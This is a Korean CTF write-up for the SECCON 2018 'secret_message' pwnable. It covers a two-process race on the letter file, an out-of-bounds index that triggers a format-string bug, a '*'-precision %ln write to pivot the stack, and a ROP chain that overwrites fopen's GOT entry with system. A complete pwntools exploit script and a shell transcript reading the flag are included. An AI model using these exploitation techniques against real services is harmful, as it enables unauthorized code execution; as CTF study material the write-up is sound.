Category : pwnable
secret_message
494
2 Solves
Let's share a secret with us nc secret-message.pwn.seccon.jp 31337
(Hint: We allow a "little" bruteforcing to secret_message only.)
Summary : ascii art, out of boundary, double staged format string attack, * precision, fread, fwrite
- Off by one 취약점으로 해겨해야 하는줄 알고 초반에 방향 잘못 잡았던 문제.
- fsb 로 취약점으로 풀이가능하다. 문제 description에서 "little" brute force를 허용해주는 것으로 보아 GOT에 partial overwrite를 의도한 것으로 추측되지만, payload를 잘 구성하니 one shot exploit 가능했다.
- 재밌었음.
1. Analysis
1.1. Concept
# encode
$ ./secret_message
welcome~
e
to :
toto
from :
fromfrom
filename :
hello
message length :
2
message :
ab
# decode
$ ./secret_message
welcome~
s
path :
hello
__ _
/ _` |
| (_| |
\__,_|
_
| |__
| '_ \
| |_) |
|_.__/
from : fromfrom
to : toto
바이너리를 실행하면 위와 같이 e(encode)와 s(decode) 2가지 기능이 존재한다. e는 alphanum characters를 입력받아 file에 encode하여 저장하며, s는 file을 열어 decode 하고 ascii art 형태로 보여준다.
기능은 간단하지만, encode/decode 루틴이 꽤 복잡하다. 생성되는 file의 구조는 아래와 같다.
$ xxd files/hello
00000000: 4254 5300 0200 0000 0800 0000 0400 0000 BTS............. # File header
00000010: 12ab 0000 0003 0000 3000 0000 0000 0000 ........0....... # Letter header
00000020: bdf2 01b0 c92d 1db3 dadc d0e6 b6b9 6973 .....-........is
00000030: 0448 95c3 db6b 3e07 b978 51d1 c1fe 2df8 .H...k>..xQ...-. # Letter data (encoded)
00000040: 8a97 938a 6d64 6d64 b978 51d1 c1fe 2df8 ....mdmd.xQ...-.
00000050: 0448 95c3 db6b 3e07 b978 51d1 c1fe 2df8 .H...k>..xQ...-.
00000060: 8a97 938a 6d64 6d64 b978 51d1 c1fe 2df8 ....mdmd.xQ...-.
..................................................................
00000300: 7aff 7177 cd02 dadc f7e9 9f5d b4fd 74b8 z.qw.......\]..t.
00000310: b07a 2b34 237e 07cc 4e90 9fb6 7411 9b88 .z+4#~..N...t...
00000320: 6640 e65b 3394 aba2 4e90 9fb6 7411 9b88 f@.\[3...N...t...
00000330: 12ab 0000 0003 0000 3000 0000 0000 0000 ........0....... # Letter header
00000340: b004 5e53 3a11 8591 4fcb 785a 9e96 3d2d ..^S:...O.xZ..=-
00000350: a801 175c 3625 fbb7 5025 ccc0 a8c2 29f1 ...\\6%..P%....). # Letter data (encoded)
00000360: d35c a0b9 fcea 07f2 05cf a7e6 b47d 3a26 .\\...........}:&
..................................................................
00000630: fa56 4e9a a680 87bc 187a 511c 0f49 4e06 .VN......zQ..IN.
00000640: b8b9 52be ef6c 759b 5097 b645 82ee 640b ..R..lu.P..E..d.
00000650: 6672 6f6d 6672 6f6d 746f 746f fromfromtoto # from, to
- 0x10 byte의 file header와 저장된 글자수 만큼 반복되는 letter header + letter data. 그리고 마지막에 from과 to가 저장된다. magic number가 BTS인걸로 보아 출제자는 BTS의 엄청난 팬으로 추측된다.
Abusing the letter file
cmd_e 함수에서 사용자에게 filename 입력받을 때, file의 존재 여부를 검사하거나 lock을 걸지 않기 때문에, 다수의 process에서 동시에 1개의 file을 생성할 수 있다.
fwrite 함수는 기본적으로 buffer를 사용하기 때문에, 실제로 write system call 이 발생하는 시점은 아래와 같다.
(1) buffer(0x1000 byte)가 가득 차거나
(2) fclose하는 시점에 buffer에 남아있는 data를 file에 write
- 이러한 특성을 이용하여 2개의 process가 함께 file을 생성하며 file header를 혼동시킬 수 있다. 시나리오를 그림으로 나타내면 아래와 같다.
process1
$ ./secret
welcome~
e
to :
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB # user input
from :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA # user input
filename :
file # user input
message length :
7 # user input
message :
aaaaaa # user input
(wait for seconds)
a # user input
process 2
$ ./secret
welcome~
e # user input
to :
toto # user input
from :
fromfrom # user input
filename :
file # user input
message length :
8 # user input
message :
aaaaaa # user input
- 위와 같은 시나리오로 file을 생성하면 사용자가 입력한 from, to data를 위에서 지칭한 letter header, letter data로 인식시킬 수 있다. python으로 표현하면 아래와 같다.
#filename
s1.recvuntil('filename : \n')
s1.sendline('file')
s2.recvuntil('filename : \n')
s2.sendline('file')
#message length
s1.recvuntil('message length :\n')
s1.sendline(str(6 + 1))
s2.recvuntil('message length :\n')
s2.sendline(str(6 + 2))
#message
s1.recvuntil('message : \n')
s2.recvuntil('message : \n')
s1.send('a' * 6)
s2.send(message)
time.sleep(4)
s2.close()
s1.send('a')
time.sleep(4)
s1.close()
1.2. Vulnerability (OOB + Format String Bug)
- cmd_s(decode) 함수에서는 letter data를 decode 하여 출력할 ascii art character의 index를 계산한다.
- format은 ascii art character의 주소들이 나열된 table이다. format string을 거치지 않고 그대로 출력하기 때문에, fsb 취약점이 존재한다.
.data:60A140 ; char *format
.data:60A140 18 7A 40 00 00 00 00 00 format dq offset a__V ; DATA XREF: decrypt_401C74+3BCr
.data:60A140 ; decrypt_401C74+3E4r
.data:60A140 ; "|"
.data:60A148 1A 7A 40 00 00 00 00 00 dq offset asc_407A1A ; " "
.data:60A150 1C 7A 40 00 00 00 00 00 dq offset asc_407A1C ; "
"
.data:60A158 1E 7A 40 00 00 00 00 00 dq offset a_ ; "_"
.data:60A160 20 7A 40 00 00 00 00 00 dq offset asc_407A20 ; "/"
.data:60A168 22 7A 40 00 00 00 00 00 dq offset asc_407A22 ; "`"
.data:60A170 24 7A 40 00 00 00 00 00 dq offset asc_407A24 ; "("
.data:60A178 26 7A 40 00 00 00 00 00 dq offset asc_407A26 ; "\"
.data:60A180 28 7A 40 00 00 00 00 00 dq offset asc_407A28 ; ","
.data:60A188 2A 7A 40 00 00 00 00 00 dq offset asc_407A2A ; "'"
.data:60A190 2C 7A 40 00 00 00 00 00 dq offset asc_407A2C ; ")"
.data:60A198 2E 7A 40 00 00 00 00 00 dq offset a__0 ; "."
.data:60A1A0 30 7A 40 00 00 00 00 00 dq offset asc_407A30 ; "<"
.data:60A1A8 32 7A 40 00 00 00 00 00 dq offset asc_407A32 ; ">"
.data:60A1B0 34 7A 40 00 00 00 00 00 dq offset aV ; "V"
.data:60A1B8 00 00 00 00 00 00 00 00 align 20h
.data:60A1C0 08 07 06 05 04 03 02 01 checksum_60A1C0 dq 102030405060708h ; DATA XREF: sub_4011E6+6Dr
.data:60A1C0 ; decrypt_401C74+181r
.data:60A1C0 _data ends
.data:60A1C0
.bss:60A1D0 ; ===========================================================================
.bss:60A1D0
.bss:60A1D0 ; Segment type: Uninitialized
.bss:60A1D0 ; Segment permissions: Read/Write
.bss:60A1D0 _bss segment para public 'BSS' use64
.bss:60A1D0 assume cs:_bss
.bss:60A1D0 ;org 60A1D0h
.bss:60A1D0 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:60A1D0 public stdin
.bss:60A1D0 ; FILE *stdin
.bss:60A1D0 ?? ?? ?? ?? ?? ?? ?? ?? stdin dq ? ; DATA XREF: sub_401007+4r
.bss:60A1D0 ; Copy of shared data
.bss:60A1D8 public stdout
.bss:60A1D8 ; FILE *stdout
.bss:60A1D8 ?? ?? ?? ?? ?? ?? ?? ?? stdout dq ? ; DATA XREF: sub_401007+13r
.bss:60A1D8 ; Copy of shared data
.bss:60A1E0 ?? byte_60A1E0 db ? ; DATA XREF: sub_400F60r
.bss:60A1E0 ; sub_400F60+13w
.bss:60A1E1 ; std::ios_base::Init unk_60A1E1
.bss:60A1E1 ?? unk_60A1E1 db ? ; ; DATA XREF: sub_40103D+1Do
.bss:60A1E1 ; sub_40103D+2Co
.bss:60A1E2 ?? db ? ;
.bss:60A1E3 ?? db ? ;
.bss:60A1E4 ?? db ? ;
.bss:60A1E5 ?? db ? ;
.bss:60A1E6 ?? db ? ;
.bss:60A1E7 ?? db ? ;
.bss:60A1E8 ; void *from_buf
.bss:60A1E8 ?? ?? ?? ?? ?? ?? ?? ?? from_buf dq ? ; DATA XREF: cmd_s_4020AC+F4w
.bss:60A1E8 ; cmd_s_4020AC+113r ...
.bss:60A1F0 ; void *to_buf_60A1F0
.bss:60A1F0 ?? ?? ?? ?? ?? ?? ?? ?? to_buf_60A1F0 dq ? ; DATA XREF: cmd_s_4020AC+10Cw
.bss:60A1F0 ; cmd_s_4020AC+129r ...
.bss:60A1F8 ; char *decrypt_filename
.bss:60A1F8 ?? ?? ?? ?? ?? ?? ?? ?? decrypt_filename dq ? ; DATA XREF: cmd_s_4020AC+13w
.bss:60A1F8 ; cmd_s_4020AC+24r ...
format table의 size는 8 * 15 이다. calc_index_202784 함수의 return value에 대한 boundary check가 이루어지지 않는다면, return value를 0x17로 만들어, printf(decrypt_filename); 으로 fsb 취약점을 trigger 할 수 있다.
// decrypt filename은 초기에 입력받은 file path
idx가 format table을 벗어나는지에 대한 check가 이루어지지 않기 때문에, OOB가 발생한다. 즉, letter header + letter data를 잘 control하면 idx를 0x17로 만들어 fsb를 trigger 할 수 있다.
1.3. Creating an evil message
- calc_index_402784 함수의 return value를 0x17 byte 로 만드는 letter format + letter data가 필요하다.
- encode / decode routine이 복잡하기 때문에 다 분석한다면 꽤나 고생하겠지만, 이를 전부 분석 할 필요없다. 문제 binary에서 encode 기능과 관련된 table을 패치하여 간단하게 얻을 수 있다.
$ diff original.xxd patched.xxd
1629,1631c1629,1631
< 000065c0: 0101 0101 0101 0102 0101 0303 0103 0102 ................
< 000065d0: 0104 0103 0501 0002 0001 0603 0001 0002 ................
< 000065e0: 0107 0303 0803 0002 0101 0101 0101 0102 ................
\---
\> 000065c0: 1700 0000 0000 0000 ffff ffff ffff ffff ................
\> 000065d0: ffff ffff ffff ffff ffff ffff ffff ffff ................
\> 000065e0: ffff ffff ffff ffff ffff ffff ffff ffff ................
1939c1939
< 00007920: 3000 0000 3000 0000 2a00 0000 3000 0000 0...0...\*...0...
\---
\> 00007920: 0800 0000 3000 0000 2a00 0000 3000 0000 ....0...\*...0...
문제 binary에서 문자 'a' 를 구성하는 ascii art 정보를 변경했다. 0x7920에는 'a'의 ascii art를 구성하기 위한 문자의 개수가 나와있다.(0x30) 이를 최소값인 8로 바꾼다.
0x65c0에는 'a'의 ascii art를 구성하는 문자들의 index가 저장되어있다. 첫 byte만 0x17로 변경하고 나머지 7byte는 아무렇게나 바꾼다.
patch된 프로그램을 실행하여
%p %p %p %p
라는 파일에 'a'를 encode한다.
$ ./patched
welcome~
e
to :
toto
from :
fromfrom
filename :
%p %p %p %p
message length :
1
message :
a
- 이제
"%p %p %p %p"
file을 decode 해보면 format을 기준으로 0x17에 있는 decrypt_filename을 출력하여 fsb가 trigger 된다.
$ ./patched
welcome~
s
path :
%p %p %p %p
0x7f7255b463a0 (nil) 0x3c 0x348||||||| <--------------------- printf(filename);
from : fromfrom
to : toto
encode routine에 대한 상세분석 없이 FSB 를 trigger 하는 data 를 얻었다.
file에서 letter header와 letter data를 exploit에서 사용하면 된다.
$ xxd files/%p\\ %p\\ %p\\ %p
00000000: 4254 5300 0100 0000 0800 0000 0400 0000 BTS.............
00000010: 12ab 0000 8000 0000 0800 0000 0000 0000 ................
00000020: a89f be76 7bf1 7de7 48d5 40aa 96aa 2155 ...v{.}.H.@...!U
00000030: a098 b873 7ff2 7fe6 17ab 38c6 3744 88bf ...s......8.7D..
00000040: a935 bcb8 6068 a9f0 fb4d a1ce 00da 94d7 .5..\`h...M......
00000050: ac8b 6b2e 91f5 262e ac8b 6b2e 91f5 262e ..k...&...k...&.
00000060: ac8b 6b2e 91f5 262e ac8b 6b2e 91f5 262e ..k...&...k...&.
00000070: 3d71 9136 b9a6 06dc 3d71 9136 b9a6 06dc =q.6....=q.6....
00000080: 3d71 9136 b9a6 06dc 3d71 9136 b9a6 06dc =q.6....=q.6....
00000090: 3d71 9136 b9a6 06dc 3d71 9136 b9a6 06dc =q.6....=q.6....
000000a0: 3d71 9136 b9a6 06dc 3d71 9136 b9a6 06dc =q.6....=q.6....
000000b0: 6672 6f6d 6672 6f6d 746f 746f fromfromtoto
2. Exploitation
2.1. FSB -> fake ebp -> rip control
fsb 로 덮을 대상으로 sfp를 선택했다. 마침 fsb가 발생하는 시점이 main 함수로부터 2번째 내부 함수이기 때문에 sfp를 user controllable한 영역으로 변경하면, main에서 leave; ret를 하는 시점에 rsp가 user controllabe 영역으로 변경되어 rip를 control 할 수 있다.
그렇다면 user controllable한 영역은 어디가 있을까. fwrite와 마찬가지로 fread 함수는 기본적으로 0x1000 단위로 file data를 heap에 읽어두기 때문에, to/from에 payload를 저장하면 heap에 payload를 write할 수 있다.
하지만 아직 heap 주소를 모르기 때문에, %n 시점에 출력 카운트를 heap주소로 만드는 것이 불가능하다. 라고 생각할 수 있지만 format string에 '*' precision을 이용하면 heap 주소를 몰라도 heap 주소만큼 출력 카운트를 만들어주는 것이 가능하다.
##################################################################
fsb = '%\*56$c%{}c%52$ln'.format(0x61df30 \- 0x61d650 \- 8)
'''
XXXX : heap address
XXXX : user controllable data - heap address
XXXX : sfp
0x7fffffffdbe0: 0x7fffffffdc20 0x40220c
0x7fffffffdbf0: 0x7ffff7530120 <pa\_next\_type> 0x1700000007
0x7fffffffdc00: 0x61d650 0x61d880 // 56th idx
0x7fffffffdc10: 0x7ffff75308e0 <\_IO\_2\_1\_stdin\_> 0x0
0x7fffffffdc20: 0x7fffffffdc50 0x400fe8
0x7fffffffdc30: 0x7fffffffdd38 0x100400eb0
0x7fffffffdc40: 0x7fffffffdd30 0x7300000000000000
\# user controllable data
0x61df30: 0x6161616161616161 0x6161616161616161
0x61df40: 0x6161616161616161 0x6161616161616161
0x61df50: 0x6161616161616161 0x6161616161616161
0x61df60: 0x6161616161616161 0x6161616161616161
0x61df70: 0x6161616161616161 0x6161616161616161
0x61df80: 0x6161616161616161 0x6161616161616161
\>>> 0x61df30 - 0x61d650
2272
'''
##################################################################
- 56번째 인자로 heap주소(0x61d650)가 존재한다. '*' precision의 참조 위치를 56번째로 지정해주고 출력하면, 0x61d650만큼의 출력 카운트가 만들어진다. user controllable data는 0x61df30 부터 있으므로 (0x61df30 - 0x61d650) 만큼 더 출력 카운트를 올려준다. sfp에 %ln을 하면 cmd_s 함수의 sfp가 0x61df30 으로 변경되고, main 함수에서 leave; ret 하는 시점에 stack이 0x61df30쪽으로 pivot되어 0x6161616161616161로 ret 할 것이다.
2.2. ROP
- 그럼 user controllable data에 넣을 ROP payload를 구성하면 된다. 다행히 pie가 disable 되어있으므로 binary 내에 존재하는 gadget을 이용할 수 있다. payload는 아래와 같이 구성했다.
puts(fopen_got)
-> read(0, fopen_got, 8)
-> cmd_s()
puts함수로 fopen_got에 있는 libc 주소를 leak하고, system 함수 주소를 계산한다.
fopen_got에 system 함수 주소를 overwrite하고, fopen함수를 호출하는 cmd_s로 돌아간다.
cmd_s함수를 호출하면 사용자에게 입력받아 명령을 실행할 수 있다.
- 구성한 ROP payload는 아래와 같다.
############## rop payload inside the file (to) ##################
pop_rdi = 0x406583
pop_rsi_r15 = 0x406581
do_read = 0x4010e8
puts_plt = 0x400ce0
fopen_got = 0x60a068
decode_msg = 0x4020ac
freespace = 0x60af00
pay = ''
pay += p64(pop_rdi)
pay += p64(fopen_got)
pay += p64(puts_plt)
pay += p64(pop_rdi)
pay += p64(fopen_got)
pay += p64(pop_rsi_r15)
pay += p64(8)
pay += p64(0x0)
pay += p64(do_read)
pay += p64(decode_msg)
###################################################################
...............
...............
# to
s1.recvuntil('to : \n')
s1.sendline(pay)
...............
...............
libc_system = libc_base + 0x45390
print hex(libc_base)
s3.send(p64(libc_system))
s3.recvuntil('path : \n')
s3.sendline('sh')
s3.interactive()
2.3. Exploit
#!/usr/bin/python
from pwn import *
REMOTE = True
message = 'a' * 6
###### fake message to trigger fsb via printf(filename) ########
fake_message = ''
# header
fake_message += '\x12\xab\x00\x00'
fake_message += p32(0x80) # data size
fake_message += p32(8) # height
fake_message += p32(0) # unknown
fake_message += p64(0x54597b67e1abe6e7) # checksum
fake_message += p64(0x61283094c250184a) # rand
body = [0x555b7863e4ade1ef, 0x5b22f0bd9c45c7e0, 0xb08450e9df3bfc15, 0x2a56d50edb755f3,
0xba227aec25d7eefa, 0xba227aec25d7eefa, 0xba227aec25d7eefa, 0xba227aec25d7eefa,
0xcb4b7b943393921, 0xcb4b7b943393921, 0xcb4b7b943393921, 0xcb4b7b943393921,
0xcb4b7b943393921, 0xcb4b7b943393921, 0xcb4b7b943393921, 0xcb4b7b943393921]
fake_message += ''.join(map(p64, body))
##################################################################
##################################################################
fsb = '%*56$c%{}c%52$ln'.format(0x61df30 - 0x61d650 - 8)
'''
0x7fffffffdbe0: 0x7fffffffdc20 0x40220c
0x7fffffffdbf0: 0x7ffff7530120 <pa_next_type> 0x1700000007
0x7fffffffdc00: 0x61d650 0x61d880 // 56th idx
0x7fffffffdc10: 0x7ffff75308e0 <_IO_2_1_stdin_> 0x0
0x7fffffffdc20: 0x7fffffffdc50 0x400fe8
0x7fffffffdc30: 0x7fffffffdd38 0x100400eb0
0x7fffffffdc40: 0x7fffffffdd30 0x7300000000000000
0x61df30: 0x6161616161616161 0x6161616161616161
0x61df40: 0x6161616161616161 0x6161616161616161
0x61df50: 0x6161616161616161 0x6161616161616161
0x61df60: 0x6161616161616161 0x6161616161616161
0x61df70: 0x6161616161616161 0x6161616161616161
0x61df80: 0x6161616161616161 0x6161616161616161
>>> 0x61df30 - 0x61d650
2272
'''
##################################################################
############## rop payload inside the file (to) ##################
pop_rdi = 0x406583
pop_rsi_r15 = 0x406581
do_read = 0x4010e8
puts_plt = 0x400ce0
fopen_got = 0x60a068
decode_msg = 0x4020ac
freespace = 0x60af00
pay = ''
pay += p64(pop_rdi)
pay += p64(fopen_got)
pay += p64(puts_plt)
pay += p64(pop_rdi)
pay += p64(fopen_got)
pay += p64(pop_rsi_r15)
pay += p64(8)
pay += p64(0x0)
pay += p64(do_read)
pay += p64(decode_msg)
###################################################################
################ create evil message ###################
if REMOTE:
s1 = remote('secret-message.pwn.seccon.jp', 31337)
s2 = remote('secret-message.pwn.seccon.jp', 31337)
else:
s1 = process('./secret')
s2 = process('./secret')
s1.recvuntil('welcome~\n')
s2.recvuntil('welcome~\n')
s1.send('e')
s2.send('e')
# to
s1.recvuntil('to : \n')
s1.sendline(pay)
s2.recvuntil('to : \n')
s2.sendline('a' * 0x1)
# from
s1.recvuntil('from : \n')
s1.sendline(fake_message)
s2.recvuntil('from : \n')
s2.sendline('b' * 0x1)
#filename :
s1.recvuntil('filename : \n')
s1.sendline(fsb)
s2.recvuntil('filename : \n')
s2.sendline(fsb)
#message length
s1.recvuntil('message length :\n')
s1.sendline(str(len(message) + 1))
s2.recvuntil('message length :\n')
s2.sendline(str(len(message) + 2))
#message
s1.recvuntil('message : \n')
s2.recvuntil('message : \n')
s1.send(message)
time.sleep(3)
s2.send(message)
time.sleep(3)
s2.close()
time.sleep(3)
s1.send('a')
time.sleep(3)
s1.close()
######################################################
################### trigger fsb ######################
if REMOTE:
s3 = remote('secret-message.pwn.seccon.jp', 31337)
else:
s3 = process('./secret')
s3.recvuntil('welcome~\n')
s3.send('s')
s3.recvuntil('path : \n')
s3.sendline(fsb)
# fsb ==> *sfp = rop_payload in heap
s3.recvuntil('to : ')
s3.recvline()
# rop payload
libc_base = u64(s3.recvline(False).ljust(8, '\x00')) - 0x6dd70
libc_system = libc_base + 0x45390
print hex(libc_base)
s3.send(p64(libc_system))
s3.recvuntil('path : \n')
s3.sendline('sh')
s3.interactive()
s3.close()
#######################################################
$ python ex.py
[+] Opening connection to secret-message.pwn.seccon.jp on port 31337: Done
[+] Opening connection to secret-message.pwn.seccon.jp on port 31337: Done
[*] Closed connection to secret-message.pwn.seccon.jp port 31337
[*] Closed connection to secret-message.pwn.seccon.jp port 31337
[+] Opening connection to secret-message.pwn.seccon.jp on port 31337: Done
0x7fac3cf5d000
[*] Switching to interactive mode
$ id
uid=1000 gid=1000 groups=1000
$ cat /home/secret_message/flag
SECCON{???????????????????????????}
'CTF > 2018' 카테고리의 다른 글
DEFCON CTF 2018 QUAL - EC3 (0) | 2018.12.03 |
---|---|
BCTF 2018 - houseOfAtum (0) | 2018.11.30 |
INCTF 2018 - lost (0) | 2018.11.04 |
INCTF 2018 - yawn (0) | 2018.11.03 |
SECCON 2018 QUAL - Simple memo (0) | 2018.11.02 |